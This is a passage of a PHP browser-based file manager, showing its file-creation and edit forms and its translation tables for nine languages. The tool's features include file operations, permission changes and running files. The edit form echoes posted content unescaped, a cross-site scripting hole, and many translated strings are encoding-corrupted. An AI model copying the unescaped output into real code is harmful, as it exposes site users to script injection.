                            function create_box () {
                                global $cols;
                            
                                echo '<tr>
                                <td colspan="' . $cols . '" id="create">
                                    <select name="create_type" size="1" onfocus="activate(\'create\')">
                                    <option value="file">' . word('file') . '</option>
                                    <option value="directory">' . word('directory') . '</option>
                                    </select>
                                    <input type="text" name="create_name" onfocus="activate(\'create\')" />
                                    <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
                                </td>
                            </tr>
                            ';
                            
                            }
                            
                            function edit ($file) {
                                global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
                            
                                html_header();
                            
                                echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
                            
                            <form action="' . $self . '" method="post">
                            
                            <table class="dialog">
                            <tr>
                            <td class="dialog">
                            
                                <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
                            
                                if (array_key_exists('content', $_POST)) {
                                    echo $_POST['content'];
                                } else {
                                    $f = fopen($file, 'r');
                                    while (!feof($f)) {
                                        echo html(fread($f, 8192));
                                    }
                                    fclose($f);
                                }
                            
                                if (!empty($_POST['user'])) {
                                    echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
                                }
                                if (!empty($_POST['basic_auth'])) {
                                    if ($win) {
                                        $authfile = str_replace('\\', '/', $directory) . $htpasswd;
                                    } else {
                                        $authfile = $directory . $htpasswd;
                                    }
                                    echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
                                    echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
                                    echo 'Require valid-user';
                                }
                            
                                echo '</textarea>
                            
                                <hr />
                            ';
                            
                                if ($apache && basename($file) == $htpasswd) {
                                    echo '
                                ' . word('user') . ': <input type="text" name="user" />
                                ' . word('password') . ': <input type="password" name="password" />
                                <input type="submit" value="' . word('add') . '" />
                            
                                <hr />
                            ';
                            
                                }
                            
                                if ($apache && basename($file) == $htaccess) {
                                    echo '
                                <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
                            
                                <hr />
                            ';
                            
                                }
                            
                                echo '
                                <input type="hidden" name="action" value="edit" />
                                <input type="hidden" name="file" value="' . html($file) . '" />
                                <input type="hidden" name="dir" value="' . html($directory) . '" />
                                <input type="reset" value="' . word('reset') . '" id="red_button" />
                                <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
                            
                            </td>
                            </tr>
                            </table>
                            
                            <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
                            
                            </form>
                            
                            ';
                            
                                html_footer();
                            
                            }
                            
                            function spacer () {
                                global $cols;
                            
                                echo '<tr>
                                <td colspan="' . $cols . '" style="height: 1em"></td>
                            </tr>
                            ';
                            
                            }
                            
                            function textfieldsize ($content) {
                            
                                $size = strlen($content) + 5;
                                if ($size < 30) $size = 30;
                            
                                return $size;
                            
                            }
                            
                            function request_dump () {
                            
                                foreach ($_REQUEST as $key => $value) {
                                    echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
                                }
                            
                            }
                            
                            /* ------------------------------------------------------------------------- */
                            
                            function html ($string) {
                                global $site_charset;
                                return htmlentities($string, ENT_COMPAT, $site_charset);
                            }
                            
                            function word ($word) {
                                global $words, $word_charset;
                                return htmlentities($words[$word], ENT_COMPAT, $word_charset);
                            }
                            
                            function phrase ($phrase, $arguments) {
                                global $words;
                                static $search;
                            
                                if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
                            
                                for ($i = 0; $i < sizeof($arguments); $i++) {
                                    $arguments[$i] = nl2br(html($arguments[$i]));
                                }
                            
                                $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
                            
                                return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
                            
                            }
                            
                            function getwords ($lang) {
                                global $word_charset, $date_format;
                            
                                switch ($lang) {
                                case 'de':
                            
                                    $date_format = 'd.m.y H:i:s';
                                    $word_charset = 'ISO-8859-1';
                            
                                    return array(
                            'directory' => 'Verzeichnis',
                            'file' => 'Datei',
                            'filename' => 'Dateiname',
                            
                            'size' => 'Grِكe',
                            'permission' => 'Rechte',
                            'owner' => 'Eigner',
                            'group' => 'Gruppe',
                            'other' => 'Andere',
                            'functions' => 'Funktionen',
                            
                            'read' => 'lesen',
                            'write' => 'schreiben',
                            'execute' => 'ausführen',
                            
                            'create_symlink' => 'Symlink erstellen',
                            'delete' => 'lِschen',
                            'rename' => 'umbenennen',
                            'move' => 'verschieben',
                            'copy' => 'kopieren',
                            'edit' => 'editieren',
                            'download' => 'herunterladen',
                            'upload' => 'hochladen',
                            'create' => 'erstellen',
                            'change' => 'wechseln',
                            'save' => 'speichern',
                            'set' => 'setze',
                            'reset' => 'zurücksetzen',
                            'relative' => 'Pfad zum Ziel relativ',
                            
                            'yes' => 'Ja',
                            'no' => 'Nein',
                            'back' => 'zurück',
                            'destination' => 'Ziel',
                            'symlink' => 'Symbolischer Link',
                            'no_output' => 'keine Ausgabe',
                            
                            'user' => 'Benutzername',
                            'password' => 'Kennwort',
                            'add' => 'hinzufügen',
                            'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
                            
                            'uploaded' => '"[%1]" wurde hochgeladen.',
                            'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
                            'already_exists' => '"[%1]" existiert bereits.',
                            'created' => '"[%1]" wurde erstellt.',
                            'not_created' => '"[%1]" konnte nicht erstellt werden.',
                            'really_delete' => 'Sollen folgende Dateien wirklich gelِscht werden?',
                            'deleted' => "Folgende Dateien wurden gelِscht:\n[%1]",
                            'not_deleted' => "Folgende Dateien konnten nicht gelِscht werden:\n[%1]",
                            'rename_file' => 'Benenne Datei um:',
                            'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
                            'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
                            'move_files' => 'Verschieben folgende Dateien:',
                            'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
                            'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
                            'copy_files' => 'Kopiere folgende Dateien:',
                            'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
                            'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
                            'not_edited' => '"[%1]" kann nicht editiert werden.',
                            'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
                            'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
                            'saved' => '"[%1]" wurde gespeichert.',
                            'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
                            'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
                            'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
                            'permission_for' => 'Rechte für "[%1]":',
                            'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
                            'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
                            'not_readable' => '"[%1]" kann nicht gelesen werden.'
                                    );
                            
                                case 'fr':
                            
                                    $date_format = 'd.m.y H:i:s';
                                    $word_charset = 'ISO-8859-1';
                            
                                    return array(
                            'directory' => 'Répertoire',
                            'file' => 'Fichier',
                            'filename' => 'Nom fichier',
                            
                            'size' => 'Taille',
                            'permission' => 'Droits',
                            'owner' => 'Propriétaire',
                            'group' => 'Groupe',
                            'other' => 'Autres',
                            'functions' => 'Fonctions',
                            
                            'read' => 'Lire',
                            'write' => 'Ecrire',
                            'execute' => 'Exécuter',
                            
                            'create_symlink' => 'Créer lien symbolique',
                            'delete' => 'Effacer',
                            'rename' => 'Renommer',
                            'move' => 'Déplacer',
                            'copy' => 'Copier',
                            'edit' => 'Ouvrir',
                            'download' => 'Télécharger sur PC',
                            'upload' => 'Télécharger sur serveur',
                            'create' => 'Créer',
                            'change' => 'Changer',
                            'save' => 'Sauvegarder',
                            'set' => 'Exécuter',
                            'reset' => 'Réinitialiser',
                            'relative' => 'Relatif',
                            
                            'yes' => 'Oui',
                            'no' => 'Non',
                            'back' => 'Retour',
                            'destination' => 'Destination',
                            'symlink' => 'Lien symbollique',
                            'no_output' => 'Pas de sortie',
                            
                            'user' => 'Utilisateur',
                            'password' => 'Mot de passe',
                            'add' => 'Ajouter',
                            'add_basic_auth' => 'add basic-authentification',
                            
                            'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
                            'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
                            'already_exists' => '"[%1]" existe déjà.',
                            'created' => '"[%1]" a été créé.',
                            'not_created' => '"[%1]" n a pas pu être créé.',
                            'really_delete' => 'Effacer le fichier?',
                            'deleted' => "Ces fichiers ont été détuits:\n[%1]",
                            'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
                            'rename_file' => 'Renomme fichier:',
                            'renamed' => '"[%1]" a été renommé en "[%2]".',
                            'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
                            'move_files' => 'Déplacer ces fichiers:',
                            'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
                            'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
                            'copy_files' => 'Copier ces fichiers:',
                            'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
                            'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
                            'not_edited' => '"[%1]" ne peut être ouvert.',
                            'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
                            'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
                            'saved' => '"[%1]" a été sauvegardé.',
                            'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
                            'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
                            'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
                            'permission_for' => 'Droits de "[%1]":',
                            'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
                            'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
                            'not_readable' => '"[%1]" ne peut pas être ouvert.'
                                    );
                            
                                case 'it':
                            
                                    $date_format = 'd-m-Y H:i:s';
                                    $word_charset = 'ISO-8859-1';
                            
                                    return array(
                            'directory' => 'Directory',
                            'file' => 'File',
                            'filename' => 'Nome File',
                            
                            'size' => 'Dimensioni',
                            'permission' => 'Permessi',
                            'owner' => 'Proprietario',
                            'group' => 'Gruppo',
                            'other' => 'Altro',
                            'functions' => 'Funzioni',
                            
                            'read' => 'leggi',
                            'write' => 'scrivi',
                            'execute' => 'esegui',
                            
                            'create_symlink' => 'crea link simbolico',
                            'delete' => 'cancella',
                            'rename' => 'rinomina',
                            'move' => 'sposta',
                            'copy' => 'copia',
                            'edit' => 'modifica',
                            'download' => 'download',
                            'upload' => 'upload',
                            'create' => 'crea',
                            'change' => 'cambia',
                            'save' => 'salva',
                            'set' => 'imposta',
                            'reset' => 'reimposta',
                            'relative' => 'Percorso relativo per la destinazione',
                            
                            'yes' => 'Si',
                            'no' => 'No',
                            'back' => 'indietro',
                            'destination' => 'Destinazione',
                            'symlink' => 'Link simbolico',
                            'no_output' => 'no output',
                            
                            'user' => 'User',
                            'password' => 'Password',
                            'add' => 'aggiungi',
                            'add_basic_auth' => 'aggiungi autenticazione base',
                            
                            'uploaded' => '"[%1]" è stato caricato.',
                            'not_uploaded' => '"[%1]" non è stato caricato.',
                            'already_exists' => '"[%1]" esiste già.',
                            'created' => '"[%1]" è stato creato.',
                            'not_created' => '"[%1]" non è stato creato.',
                            'really_delete' => 'Cancello questi file ?',
                            'deleted' => "Questi file sono stati cancellati:\n[%1]",
                            'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
                            'rename_file' => 'File rinominato:',
                            'renamed' => '"[%1]" è stato rinominato in "[%2]".',
                            'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
                            'move_files' => 'Sposto questi file:',
                            'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
                            'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
                            'copy_files' => 'Copio questi file',
                            'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
                            'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
                            'not_edited' => '"[%1]" non puٍ essere modificato.',
                            'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
                            'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
                            'saved' => '"[%1]" è stato salvato.',
                            'not_saved' => '"[%1]" non è stato salvato.',
                            'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
                            'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
                            'permission_for' => 'Permessi di "[%1]":',
                            'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
                            'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
                            'not_readable' => '"[%1]" non puٍ essere letto.'
                                    );
                            
                                case 'nl':
                            
                                    $date_format = 'n/j/y H:i:s';
                                    $word_charset = 'ISO-8859-1';
                            
                                    return array(
                            'directory' => 'Directory',
                            'file' => 'Bestand',
                            'filename' => 'Bestandsnaam',
                            
                            'size' => 'Grootte',
                            'permission' => 'Bevoegdheid',
                            'owner' => 'Eigenaar',
                            'group' => 'Groep',
                            'other' => 'Anderen',
                            'functions' => 'Functies',
                            
                            'read' => 'lezen',
                            'write' => 'schrijven',
                            'execute' => 'uitvoeren',
                            
                            'create_symlink' => 'maak symlink',
                            'delete' => 'verwijderen',
                            'rename' => 'hernoemen',
                            'move' => 'verplaatsen',
                            'copy' => 'kopieren',
                            'edit' => 'bewerken',
                            'download' => 'downloaden',
                            'upload' => 'uploaden',
                            'create' => 'aanmaken',
                            'change' => 'veranderen',
                            'save' => 'opslaan',
                            'set' => 'instellen',
                            'reset' => 'resetten',
                            'relative' => 'Relatief pat naar doel',
                            
                            'yes' => 'Ja',
                            'no' => 'Nee',
                            'back' => 'terug',
                            'destination' => 'Bestemming',
                            'symlink' => 'Symlink',
                            'no_output' => 'geen output',
                            
                            'user' => 'Gebruiker',
                            'password' => 'Wachtwoord',
                            'add' => 'toevoegen',
                            'add_basic_auth' => 'add basic-authentification',
                            
                            'uploaded' => '"[%1]" is verstuurd.',
                            'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
                            'already_exists' => '"[%1]" bestaat al.',
                            'created' => '"[%1]" is aangemaakt.',
                            'not_created' => '"[%1]" kan niet worden aangemaakt.',
                            'really_delete' => 'Deze bestanden verwijderen?',
                            'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
                            'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
                            'rename_file' => 'Bestandsnaam veranderen:',
                            'renamed' => '"[%1]" heet nu "[%2]".',
                            'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
                            'move_files' => 'Verplaats deze bestanden:',
                            'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
                            'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
                            'copy_files' => 'Kopieer deze bestanden:',
                            'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
                            'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
                            'not_edited' => '"[%1]" kan niet worden bewerkt.',
                            'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
                            'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
                            'saved' => '"[%1]" is opgeslagen.',
                            'not_saved' => '"[%1]" is niet opgeslagen.',
                            'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
                            'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
                            'permission_for' => 'Bevoegdheid voor "[%1]":',
                            'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
                            'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
                            'not_readable' => '"[%1]" kan niet worden gelezen.'
                                    );
                            
                                case 'se':
                            
                                    $date_format = 'n/j/y H:i:s';
                                    $word_charset = 'ISO-8859-1';
                             
                                    return array(
                            'directory' => 'Mapp',
                            'file' => 'Fil',
                            'filename' => 'Filnamn',
                             
                            'size' => 'Storlek',
                            'permission' => 'Sنkerhetsnivه',
                            'owner' => 'ؤgare',
                            'group' => 'Grupp',
                            'other' => 'Andra',
                            'functions' => 'Funktioner',
                             
                            'read' => 'Lنs',
                            'write' => 'Skriv',
                            'execute' => 'Utfِr',
                             
                            'create_symlink' => 'Skapa symlink',
                            'delete' => 'Radera',
                            'rename' => 'Byt namn',
                            'move' => 'Flytta',
                            'copy' => 'Kopiera',
                            'edit' => 'ؤndra',
                            'download' => 'Ladda ner',
                            'upload' => 'Ladda upp',
                            'create' => 'Skapa',
                            'change' => 'ؤndra',
                            'save' => 'Spara',
                            'set' => 'Markera',
                            'reset' => 'Tِm',
                            'relative' => 'Relative path to target',
                             
                            'yes' => 'Ja',
                            'no' => 'Nej',
                            'back' => 'Tillbaks',
                            'destination' => 'Destination',
                            'symlink' => 'Symlink',
                            'no_output' => 'no output',
                             
                            'user' => 'Anvنndare',
                            'password' => 'Lِsenord',
                            'add' => 'Lنgg till',
                            'add_basic_auth' => 'add basic-authentification',
                             
                            'uploaded' => '"[%1]" har laddats upp.',
                            'not_uploaded' => '"[%1]" kunde inte laddas upp.',
                            'already_exists' => '"[%1]" finns redan.',
                            'created' => '"[%1]" har skapats.',
                            'not_created' => '"[%1]" kunde inte skapas.',
                            'really_delete' => 'Radera dessa filer?',
                            'deleted' => "De hنr filerna har raderats:\n[%1]",
                            'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
                            'rename_file' => 'Byt namn pه fil:',
                            'renamed' => '"[%1]" har bytt namn till "[%2]".',
                            'not_renamed' => '"[%1] kunde inte dِpas om till "[%2]".',
                            'move_files' => 'Flytta dessa filer:',
                            'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
                            'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
                            'copy_files' => 'Kopiera dessa filer:',
                            'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
                            'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
                            'not_edited' => '"[%1]" kan inte نndras.',
                            'executed' => "\"[%1]\" har utfِrts:\n{%2}",
                            'not_executed' => "\"[%1]\" kunde inte utfِras:\n{%2}",
                            'saved' => '"[%1]" har sparats.',
                            'not_saved' => '"[%1]" kunde inte sparas.',
                            'symlinked' => 'Symlink frهn "[%2]" till "[%1]" har skapats.',
                            'not_symlinked' => 'Symlink frهn "[%2]" till "[%1]" kunde inte skapas.',
                            'permission_for' => 'Rنttigheter fِr "[%1]":',
                            'permission_set' => 'Rنttigheter fِr "[%1]" نndrades till [%2].',
                            'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
                            'not_readable' => '"[%1]" kan inte lنsas.'
                                    );
                            
                                case 'sp':
                            
                                    $date_format = 'j/n/y H:i:s';
                                    $word_charset = 'ISO-8859-1';
                            
                                    return array(
                            'directory' => 'Directorio',
                            'file' => 'Archivo',
                            'filename' => 'Nombre Archivo',
                            
                            'size' => 'Tamaٌo',
                            'permission' => 'Permisos',
                            'owner' => 'Propietario',
                            'group' => 'Grupo',
                            'other' => 'Otros',
                            'functions' => 'Funciones',
                            
                            'read' => 'lectura',
                            'write' => 'escritura',
                            'execute' => 'ejecuciَn',
                            
                            'create_symlink' => 'crear enlace',
                            'delete' => 'borrar',
                            'rename' => 'renombrar',
                            'move' => 'mover',
                            'copy' => 'copiar',
                            'edit' => 'editar',
                            'download' => 'bajar',
                            'upload' => 'subir',
                            'create' => 'crear',
                            'change' => 'cambiar',
                            'save' => 'salvar',
                            'set' => 'setear',
                            'reset' => 'resetear',
                            'relative' => 'Path relativo',
                            
                            'yes' => 'Si',
                            'no' => 'No',
                            'back' => 'atrلs',
                            'destination' => 'Destino',
                            'symlink' => 'Enlace',
                            'no_output' => 'sin salida',
                            
                            'user' => 'Usuario',
                            'password' => 'Clave',
                            'add' => 'agregar',
                            'add_basic_auth' => 'agregar autentificaciَn bلsica',
                            
                            'uploaded' => '"[%1]" ha sido subido.',
                            'not_uploaded' => '"[%1]" no pudo ser subido.',
                            'already_exists' => '"[%1]" ya existe.',
                            'created' => '"[%1]" ha sido creado.',
                            'not_created' => '"[%1]" no pudo ser creado.',
                            'really_delete' => '؟Borra estos archivos?',
                            'deleted' => "Estos archivos han sido borrados:\n[%1]",
                            'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
                            'rename_file' => 'Renombra archivo:',
                            'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
                            'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
                            'move_files' => 'Mover estos archivos:',
                            'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
                            'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
                            'copy_files' => 'Copiar estos archivos:',
                            'copied' => "Estos archivos han sido copiados a  \"[%2]\":\n[%1]",
                            'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
                            'not_edited' => '"[%1]" no pudo ser editado.',
                            'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
                            'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
                            'saved' => '"[%1]" ha sido salvado.',
                            'not_saved' => '"[%1]" no pudo ser salvado.',
                            'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
                            'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
                            'permission_for' => 'Permisos de "[%1]":',
                            'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
                            'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
                            'not_readable' => '"[%1]" no pudo ser leيdo.'
                                    );
                            
                                case 'dk':
                            
                                    $date_format = 'n/j/y H:i:s';
                                    $word_charset = 'ISO-8859-1';
                            
                                    return array(
                            'directory' => 'Mappe',
                            'file' => 'Fil',
                            'filename' => 'Filnavn',
                            
                            'size' => 'Stّrrelse',
                            'permission' => 'Rettighed',
                            'owner' => 'Ejer',
                            'group' => 'Gruppe',
                            'other' => 'Andre',
                            'functions' => 'Funktioner',
                            
                            'read' => 'lوs',
                            'write' => 'skriv',
                            'execute' => 'kّr',
                            
                            'create_symlink' => 'opret symbolsk link',
                            'delete' => 'slet',
                            'rename' => 'omdّb',
                            'move' => 'flyt',
                            'copy' => 'kopier',
                            'edit' => 'rediger',
                            'download' => 'download',
                            'upload' => 'upload',
                            'create' => 'opret',
                            'change' => 'skift',
                            'save' => 'gem',
                            'set' => 'sوt',
                            'reset' => 'nulstil',
                            'relative' => 'Relativ sti til valg',
                            
                            'yes' => 'Ja',
                            'no' => 'Nej',
                            'back' => 'tilbage',
                            'destination' => 'Distination',
                            'symlink' => 'Symbolsk link',
                            'no_output' => 'ingen resultat',
                            
                            'user' => 'Bruger',
                            'password' => 'Kodeord',
                            'add' => 'tilfّj',
                            'add_basic_auth' => 'tilfّj grundliggende rettigheder',
                            
                            'uploaded' => '"[%1]" er blevet uploaded.',
                            'not_uploaded' => '"[%1]" kunnu ikke uploades.',
                            'already_exists' => '"[%1]" findes allerede.',
                            'created' => '"[%1]" er blevet oprettet.',
                            'not_created' => '"[%1]" kunne ikke oprettes.',
                            'really_delete' => 'Slet disse filer?',
                            'deleted' => "Disse filer er blevet slettet:\n[%1]",
                            'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
                            'rename_file' => 'Omdّd fil:',
                            'renamed' => '"[%1]" er blevet omdّbt til "[%2]".',
                            'not_renamed' => '"[%1] kunne ikke omdّbes til "[%2]".',
                            'move_files' => 'Flyt disse filer:',
                            'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
                            'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
                            'copy_files' => 'Kopier disse filer:',
                            'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
                            'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
                            'not_edited' => '"[%1]" kan ikke redigeres.',
                            'executed' => "\"[%1]\" er blevet kّrt korrekt:\n{%2}",
                            'not_executed' => "\"[%1]\" kan ikke kّres korrekt:\n{%2}",
                            'saved' => '"[%1]" er blevet gemt.',
                            'not_saved' => '"[%1]" kunne ikke gemmes.',
                            'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
                            'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
                            'permission_for' => 'Rettigheder for "[%1]":',
                            'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
                            'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sوttes til [%2].',
                            'not_readable' => '"[%1]" Kan ikke lوses.'
                                    );
                            
                                case 'tr':
                            
                                    $date_format = 'n/j/y H:i:s';
                                    $word_charset = 'ISO-8859-1';
                            
                                    return array(
                            'directory' => 'Klasِr',
                            'file' => 'Dosya',
                            'filename' => 'dosya adi',
                            
                            'size' => 'boyutu',
                            'permission' => 'Izin',
                            'owner' => 'sahib',
                            'group' => 'Grup',
                            'other' => 'Digerleri',
                            'functions' => 'Fonksiyonlar',
                            
                            'read' => 'oku',
                            'write' => 'yaz',
                            'execute' => 'çalistir',
                            
                            'create_symlink' => 'yarat symlink',
                            'delete' => 'sil',
                            'rename' => 'ad degistir',
                            'move' => 'tasi',
                            'copy' => 'kopyala',
                            'edit' => 'düzenle',
                            'download' => 'indir',
                            'upload' => 'yükle',
                            'create' => 'create',
                            'change' => 'degistir',
                            'save' => 'kaydet',
                            'set' => 'ayar',
                            'reset' => 'sifirla',
                            'relative' => 'Hedef yola gِre',
                            
                            'yes' => 'Evet',
                            'no' => 'Hayir',
                            'back' => 'Geri',
                            'destination' => 'Hedef',
                            'symlink' => 'K‎sa yol',
                            'no_output' => 'çikti yok',
                            
                            'user' => 'Kullanici',
                            'password' => 'Sifre',
                            'add' => 'ekle',
                            'add_basic_auth' => 'ekle basit-authentification',
                            
                            'uploaded' => '"[%1]" yüklendi.',
                            'not_uploaded' => '"[%1]" yüklenemedi.',
                            'already_exists' => '"[%1]" kullanilmakta.',
                            'created' => '"[%1]" olusturuldu.',
                            'not_created' => '"[%1]" olusturulamadi.',
                            'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
                            'deleted' => "Bu dosyalar silindi:\n[%1]",
                            'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
                            'rename_file' => 'Adi degisen dosya:',
                            'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
                            'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
                            'move_files' => 'Tasinan dosyalar:',
                            'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
                            'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
                            'copy_files' => 'Kopyalanan dosyalar:',
                            'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
                            'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
                            'not_edited' => '"[%1]" düzenlenemiyor.',
                            'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
                            'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
                            'saved' => '"[%1]" kaydedildi.',
                            'not_saved' => '"[%1]" kaydedilemedi.',
                            'symlinked' => '"[%2]" den "[%1]" e k‎sayol olu‏turuldu.',
                            'not_symlinked' => '"[%2]"den "[%1]" e k‎sayol olu‏turulamad‎.',
                            'permission_for' => 'Izinler "[%1]":',
                            'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
                            'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
                            'not_readable' => '"[%1]" okunamiyor.'
                                    );
                            
                                case 'cs':
                            
                                    $date_format = 'd.m.y H:i:s';
                                    $word_charset = 'UTF-8';
                            
                                    return array(
                            'directory' => 'Adresأ،إ™',
                            'file' => 'Soubor',
                            'filename' => 'Jmأ©no souboru',
                            
                            'size' => 'Velikost',
                            'permission' => 'Prأ،va',
                            'owner' => 'Vlastnأ*k',
                            'group' => 'Skupina',
                            'other' => 'Ostatnأ*',
                            'functions' => 'Funkce',
                            
                            'read' => 'ؤŒtenأ*',
                            'write' => 'Zأ،pis',
                            'execute' => 'Spouإ،tؤ›nأ*',
                            
                            'create_symlink' => 'Vytvoإ™it symbolickأ½ odkaz',
                            'delete' => 'Smazat',
                            'rename' => 'Pإ™ejmenovat',
                            'move' => 'Pإ™esunout',
                            'copy' => 'Zkopأ*rovat',
                            'edit' => 'Otevإ™أ*t',
                            'download' => 'Stأ،hnout',
                            'upload' => 'Nahraj na server',
                            'create' => 'Vytvoإ™it',
                            'change' => 'Zmؤ›nit',
                            'save' => 'Uloإ¾it',
                            'set' => 'Nastavit',
                            'reset' => 'zpؤ›t',
                            'relative' => 'Relatif',
                            
                            'yes' => 'Ano',
                            'no' => 'Ne',
                            'back' => 'Zpؤ›t',
                            'destination' => 'Destination',
                            'symlink' => 'Symbolickأ½ odkaz',
                            'no_output' => 'Prأ،zdnأ½ vأ½stup',
                            
                            'user' => 'Uإ¾ivatel',
                            'password' => 'Heslo',
                            'add' => 'Pإ™idat',
